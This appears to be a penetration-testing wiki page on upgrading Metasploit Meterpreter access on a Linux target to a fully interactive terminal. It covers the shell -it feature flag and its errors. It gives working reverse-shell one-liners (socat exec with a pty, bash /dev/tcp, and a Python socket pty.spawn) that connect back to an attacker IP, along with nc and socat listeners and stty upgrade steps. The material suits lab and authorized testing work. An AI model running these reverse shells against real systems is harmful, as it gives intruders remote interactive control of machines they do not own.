Skip to content

Fully Interactive TTY

These steps are for work that needs terminal control, such as vim or tmux. They explain the limits of Meterpreter’s shell and how to obtain a full TTY on the attacker machine.

Connection methodvim / tmux / arrow keys and history
Meterpreter shellSemi-interactive; poorly suited to vim or tmux
Meterpreter shell -t / shell -itStarting or using a PTY can fail in some environments
Command-shell session received in msfconsoleCtrl-Z backgrounds the session, making TTY adjustment difficult
Reverse shell received directly by socat / nc on the attacker machineCan be made into a full TTY

To keep the Meterpreter session while using a full TTY, receive a separate reverse shell outside msfconsole.

The shell described in Meterpreter Operations is a semi-interactive shell whose standard input and output are connected through a channel. It has these limits:

  • Arrow keys, tab completion, and command history often do not work as expected.
  • Ctrl-Z triggers Meterpreter’s background rather than job control in the target shell.
  • As a result, the usual TTY adjustment (stty raw -echo; fg) cannot be completed inside Meterpreter.

Related upstream changes:

The -i option for shell -it is controlled by the fully_interactive_shells feature flag, which is disabled by default. Upstream notes say its development has stalled and interaction can lag over slow transports such as mettle’s HTTP connection.

features is an msfconsole command. It does not run at the meterpreter > prompt.

meterpreter > background
msf6 > features print
msf6 > features set fully_interactive_shells true
msf6 > sessions -i 1

Even with the feature flag enabled, it may fail on a mettle target (where sysinfo reports a BuildTuple of *-linux-musl).

meterpreter > shell -it
[*] env TERM=xterm HISTFILE= /usr/bin/script -qc /bin/bash /dev/null
Process 1889 created.
Channel 2 created.
id
[-] core_channel_write: Operation failed: 32
meterpreter > execute -f /bin/bash -c -i -p
Process 1903 created.
Channel 4 created.
id
[-] core_channel_write: Operation failed: 9
CodeMeaning (Linux)Possible cause
32EPIPE (Broken pipe)A child process started by script or another tool exited immediately, disconnecting stdin
9EBADF (Bad file descriptor)The file descriptor used to write to the PTY channel is invalid

-i is not registered by default. Check available options with shell -h. Also test whether regular shell works, to distinguish a general failure from one specific to the PTY shell.

sysinfo
shell

Obtaining a full TTY through a separate reverse shell

Section titled “Obtaining a full TTY through a separate reverse shell”

On the attacker machine, in a terminal separate from msfconsole:

Terminal window
socat file:`tty`,raw,echo=0 tcp-listen:5555

On the target, inside meterpreter > shell:

Terminal window
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.10:5555

The attacker machine’s terminal starts in raw mode, so vim and tmux usually work without an extra stty step. Replace 10.10.16.10 with an attacker-machine IP address reachable from the target.

On the attacker machine:

Terminal window
nc -lvnp 5555

Connect a reverse shell from the target, inside Meterpreter’s shell. This example uses bash’s /dev/tcp.

Terminal window
bash -c 'bash -i >& /dev/tcp/10.10.16.10/5555 0>&1'

If Python 3 is available:

Terminal window
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.16.10",5555));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Adjust the TTY in the terminal running nc. First run stty size on the attacker machine and note the row and column counts. Replace 40 and 120 below with those values.

Terminal window
# On the target shell, if it does not already have a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Return to the local job with Ctrl-Z
stty raw -echo; fg
reset
export SHELL=bash
export TERM=xterm-256color
stty rows 40 cols 120

You can now use vim or tmux.

3. Receive the initial command shell outside msfconsole

Section titled “3. Receive the initial command shell outside msfconsole”

If you expect to need a full TTY often, receive the initial reverse shell with socat or nc instead of multi/handler. If you later need Meterpreter, open a separate Meterpreter session from that shell or follow the upgrade steps in Handlers and Listeners.

TaskMethod
File transfer, post modules, port forwarding, credential checksMeterpreter session
Quick command checksMeterpreter shell
vim / nano / tmux / interactive su or sshsocat / nc shell received outside msfconsole
Try a full TTY inside MeterpreterCheck the shell -it feature flag and target environment